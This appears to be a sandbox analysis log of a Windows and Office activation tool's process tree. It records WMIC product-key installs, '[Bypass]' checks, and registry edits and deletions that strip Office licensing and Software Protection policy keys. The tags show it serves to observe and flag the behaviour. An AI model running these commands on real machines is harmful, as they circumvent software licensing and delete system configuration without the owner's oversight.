C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "040fa323-92b1-4baf-97a2-5b67feaefddb 0724cb7d-3437-4cb7-93cb-830375d0079d 0ad2ac98-7bb9-4201-8d92-312299201369 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5 221a02da-e2a1-4b75-864c-0a4410a33fdf 291ece0e-9c38-40ca-a9e1-32cc7ec19507 2936d1d2-913a-4542-b54e-ce5a602a2a38 2c293c26-a45a-4a2a-a350-c69a67097529 2de67392-b7a7-462a-b1ca-108dd189f588 2ffd8952-423e-4903-b993-72a1aa44cf82 30a42c86-b7a0-4a34-8c90-ff177cb2acb7 345a5db0-d94f-4e3b-a0c0-7c42f7bc3ebf 3502365a-f88a-4ba4-822a-5769d3073b65 377333b1-8b5d-48d6-9679-1225c872d37c 3df374ef-d444-4494-a5a1-4b0d9fd0e203 3f1afc82-f8ac-4f6c-8005-1d233e606eee 49cd895b-53b2-4dc4-a5f7-b18aa019ad37 4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c 4f3da0d2-271d-4508-ae81-626b60809a38 5d78c4e9-aeb3-4b40-8ac2-6a6005e0ad6d 60b3ec1b-9545-4921-821f-311b129dd6f6 613d217f-7f13-4268-9907-1662339531cd 62f0c100-9c53-4e02-b886-a3528ddfe7f6 6365275e-368d-46ca-a0ef-fc0404119333 721f9237-9341-4453-a661-09e8baa6cca5 73111121-5638-40f6-bc11-f1d7b0d64300 7a802526-4c94-4bd1-ba14-835a1aca2120 7cb546c0-c7d5-44d8-9a5c-69ecdd782b69 82bbc092-bc50-4e16-8e18-b74fc486aec3 8ab9bdd1-1f67-4997-82d9-8878520837d9 8b351c9c-f398-4515-9900-09df49427262 90da7373-1c51-430b-bf26-c97e9c5cdc31 92fb8726-92a8-4ffc-94ce-f82e07444653 95dca82f-385d-4d39-b85b-5c73fa285d6f a48938aa-62fa-4966-9d44-9f04da3f72f2 b0773a15-df3a-4312-9ad2-83d69648e356 b4bfe195-541e-4e64-ad23-6177f19e395e b68e61d2-68ca-4757-be45-0cc2f3e68eee bd3762d7-270d-4760-8fb3-d829ca45278a c86d5194-4840-4dae-9c1c-0301003a5ab0 ca7df2e3-5ea0-47b8-9ac1-b1be4d8edd69 d552befb-48cc-4327-8f39-47d2d94f987c d6eadb3b-5ca8-4a6b-986e-35b550756111 df96023b-dcd9-4be2-afa0-c6c871159ebe e0c42288-980c-4788-a014-c080d2e1926e e4db50ea-bda1-4566-b047-0ca50abc6f07 e558417a-5123-4f6f-91e7-385c1c7ca9d4 e7a950a2-e548-4f10-bf16-02ec848e0643 eb6d346f-1c60-4643-b960-40ec31596c45 ec868e65-fadf-4759-b23e-93fe37f2cc29 ef51e000-2659-4f25-8345-3de70a9cf4c4 f7af7d09-40e4-419c-a49b-eae366689ebd fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab fe74f55b-0338-41d6-b267-4a201abe7285" "7⤵
-
-
C:\Windows\System32\find.exefind /i "2de67392-b7a7-462a-b1ca-108dd189f588"7⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="W269N-WFGWX-YVC9B-4J6C9-T83GX"7⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 07⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus7⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\14.0\CVH /f Click2run /k7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\CVH /f Click2run /k7⤵
- Modifies registry key
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "Get-AppxPackage -name "Microsoft.MicrosoftOfficeHub""7⤵
-
-
C:\Windows\System32\find.exefind /i "Office"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun /v InstallPath" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\ClickToRun /v InstallPath8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul7⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul7⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\16.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\16.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\14.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\14.0\Common\InstallRoot /v Path8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "(Get-AppxPackage -name 'Microsoft.Office.Desktop' | Select-Object -ExpandProperty InstallLocation)" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "(Get-AppxPackage -name 'Microsoft.Office.Desktop' | Select-Object -ExpandProperty InstallLocation)"8⤵
-
-
-
C:\Windows\System32\sc.exesc query ClickToRunSvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query OfficeSvc7⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663') get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663') get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v Platform" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v Platform8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v VersionToReport" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v VersionToReport8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v AudienceData" 2>nul7⤵
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v AudienceData8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "HKLM\SOFTWARE\Microsoft\Office\ClickToRun" "7⤵
-
-
C:\Windows\System32\find.exefind /i "Wow6432Node"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs" /s /f ".16" /k 2>nul | findstr /i "Retail Volume"7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs" /s /f ".16" /k8⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "Retail Volume"8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "" "7⤵
-
-
C:\Windows\System32\find.exefind /i " ProPlusRetail.16 "7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\find.exefind /i "Volume"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds8⤵
- Modifies registry key
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\findstr.exefindstr /I " ProPlusRetail "7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\findstr.exefindstr /I "ProPlusRetail"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "O365"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\find.exefind /i "2024"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: [PrepidBypass] "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -AccessRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -ExcelRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -O365AppsBasicRetail-O365BusinessRetail-O365EduCloudRetail-O365HomePremRetail-O365ProPlusRetail-O365SmallBusPremRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: [Bypass] "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -OneNoteRetail-OneNote2021Retail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -OutlookRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -PowerPointRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -ProjectProRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -ProjectStdRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: -ProPlusRetail-ProfessionalPipcRetail-ProfessionalRetail- "7⤵
-
-
C:\Windows\System32\find.exefind /i "-ProPlusRetail-"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo ProPlusRetail "7⤵
-
-
C:\Windows\System32\find.exefind /i "O365"7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo: HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration "7⤵
-
-
C:\Windows\System32\find.exefind /i "propertyBag"7⤵
-
-
C:\Windows\System32\reg.exereg add HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /f /v ProPlusVolume.OSPPReady /t REG_SZ /d 17⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "26b394d7-7ad7-4aab-8fcc-6ea678395a91 339a5901-9bde-4f48-a88d-d048a42b54b1 5829fd99-2b17-4be4-9814-381145e49019 596bf8ec-7cab-4a98-83ae-459db70d24e4 60afa663-984d-47a6-ac9c-00346ff5e8f0 6755c7a7-4dfe-46f5-bce8-427be8e9dc62 6c1bed1d-0273-4045-90d2-e0836f3c380b 70d9ceb6-6dfa-4da4-b413-18c1c3c76e2e 84832881-46ef-4124-8abc-eb493cdcf78e 85dd8b5f-eaa4-4af3-a628-cce9e77c9a03 aa64f755-8a7b-4519-bc32-cab66deb92cb c8ce6adc-ede7-4ce2-8e7b-c49f462ab8c3 de52bd50-9564-4adc-8fcb-a345c17f84f9 e1fef7e5-6886-458c-8e45-7c1e9daab00c" "7⤵
-
-
C:\Windows\System32\find.exefind /i "d450596f-894d-49e0-966a-fd39ed4c4c64"7⤵
-
-
C:\Program Files\Microsoft Office\root\integration\Integrator.exe"C:\Program Files\Microsoft Office\root\integration\integrator.exe" /I /License PRIDName=ProPlusVolume.16 PidKey=XQNVK-8JYDB-WJ9W3-YJ8YR-WFG997⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663') get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663') get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "26b394d7-7ad7-4aab-8fcc-6ea678395a91 339a5901-9bde-4f48-a88d-d048a42b54b1 5829fd99-2b17-4be4-9814-381145e49019 596bf8ec-7cab-4a98-83ae-459db70d24e4 60afa663-984d-47a6-ac9c-00346ff5e8f0 6755c7a7-4dfe-46f5-bce8-427be8e9dc62 6c1bed1d-0273-4045-90d2-e0836f3c380b 70d9ceb6-6dfa-4da4-b413-18c1c3c76e2e 84832881-46ef-4124-8abc-eb493cdcf78e 85dd8b5f-eaa4-4af3-a628-cce9e77c9a03 aa64f755-8a7b-4519-bc32-cab66deb92cb c47456e3-265d-47b6-8ca0-c30abbd0ca36 c8ce6adc-ede7-4ce2-8e7b-c49f462ab8c3 d450596f-894d-49e0-966a-fd39ed4c4c64 de52bd50-9564-4adc-8fcb-a345c17f84f9 e1fef7e5-6886-458c-8e45-7c1e9daab00c" "7⤵
-
-
C:\Windows\System32\find.exefind /i "d450596f-894d-49e0-966a-fd39ed4c4c64"7⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call InstallProductKey ProductKey="XQNVK-8JYDB-WJ9W3-YJ8YR-WFG99"7⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 07⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingService where __CLASS='SoftwareLicensingService' call RefreshLicenseStatus7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$p = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList'; Get-ChildItem $p | ForEach-Object { $pi = (Get-ItemProperty """"$p\$($_.PSChildName)"""").ProfileImagePath; if ($pi -like '*\Users\*' -and (Test-Path """"$pi\NTUSER.DAT"""") -and -not ($_.PSChildName -match '\.bak$')) { Split-Path $_.PSPath -Leaf } }" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$p = 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList'; Get-ChildItem $p | ForEach-Object { $pi = (Get-ItemProperty """"$p\$($_.PSChildName)"""").ProfileImagePath; if ($pi -like '*\Users\*' -and (Test-Path """"$pi\NTUSER.DAT"""") -and -not ($_.PSChildName -match '\.bak$')) { Split-Path $_.PSPath -Leaf } }"8⤵
-
-
-
C:\Windows\System32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software7⤵
-
-
C:\Windows\System32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Office\15.0\Common\Licensing /s7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "CIDToLicenseIdsMapping LicenseIdToEmailMapping @"7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\System32\reg.exereg delete HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Office\15.0\Common\Licensing /f7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1679180529-4058988202-686829476-1000" /v ProfileImagePath" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1679180529-4058988202-686829476-1000" /v ProfileImagePath8⤵
-
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\15.0\Common\Licensing" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\15.0\Common\Licensing" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Licensing" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Office\15.0\Common\Licensing" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg query HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Office\16.0\Common\Licensing /s7⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "CIDToLicenseIdsMapping LicenseIdToEmailMapping @"7⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\System32\reg.exereg delete HKU\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Office\16.0\Common\Licensing /f7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1679180529-4058988202-686829476-1000" /v ProfileImagePath" 2>nul7⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1679180529-4058988202-686829476-1000" /v ProfileImagePath8⤵
-
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\Licensing" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\Licensing" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Office\16.0\Common\Licensing" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Policies\Microsoft\Office\16.0\Common\Licensing" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v SharedComputerLicensing /f7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v SharedComputerLicensing /f /reg:327⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun\Configuration /v SharedComputerLicensing /f7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun\Configuration /v SharedComputerLicensing /f /reg:327⤵
- Modifies registry key
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration" /f *.DeviceBasedLicensing 2>nul | findstr REG_7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration" /f *.DeviceBasedLicensing8⤵
-
-
C:\Windows\System32\findstr.exefindstr REG_8⤵
-
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\15.0\Common\OEM" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\15.0\Common\OEM" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Office\16.0\Common\OEM" /f /reg:327⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Policies\0ff1ce15-a989-479d-af46-f275c6370663" /f7⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\OfficeSoftwareProtectionPlatform\Policies\0ff1ce15-a989-479d-af46-f275c6370663" /f7⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\Software\Microsoft\OfficeSoftwareProtectionPlatform\Policies\59a52881-a989-479d-af46-f275c6370663" /f7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /v Default" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /v Default8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and PartialProductKey is not null) get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' and PartialProductKey is not null) get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo " d450596f-894d-49e0-966a-fd39ed4c4c64" "7⤵
-
-
C:\Windows\System32\find.exefind /i "85dd8b5f-eaa4-4af3-a628-cce9e77c9a03"7⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='85dd8b5f-eaa4-4af3-a628-cce9e77c9a03' call UninstallProductKey7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo " d450596f-894d-49e0-966a-fd39ed4c4c64" "7⤵
-
-
C:\Windows\System32\find.exefind /i "d450596f-894d-49e0-966a-fd39ed4c4c64"7⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\Software Protection Platform" /v NoGenTicket /t REG_DWORD /d 1 /f7⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (Name like '%windows%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (Name like '%windows%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path SoftwareLicensingProduct where (Name like '%office%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (Name like '%office%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE8⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic path OfficeSoftwareProtectionProduct where (Name like '%office%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE" 2>nul7⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path OfficeSoftwareProtectionProduct where (Name like '%office%' and Description like '%KMSCLIENT%' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get ID /VALUE8⤵
-
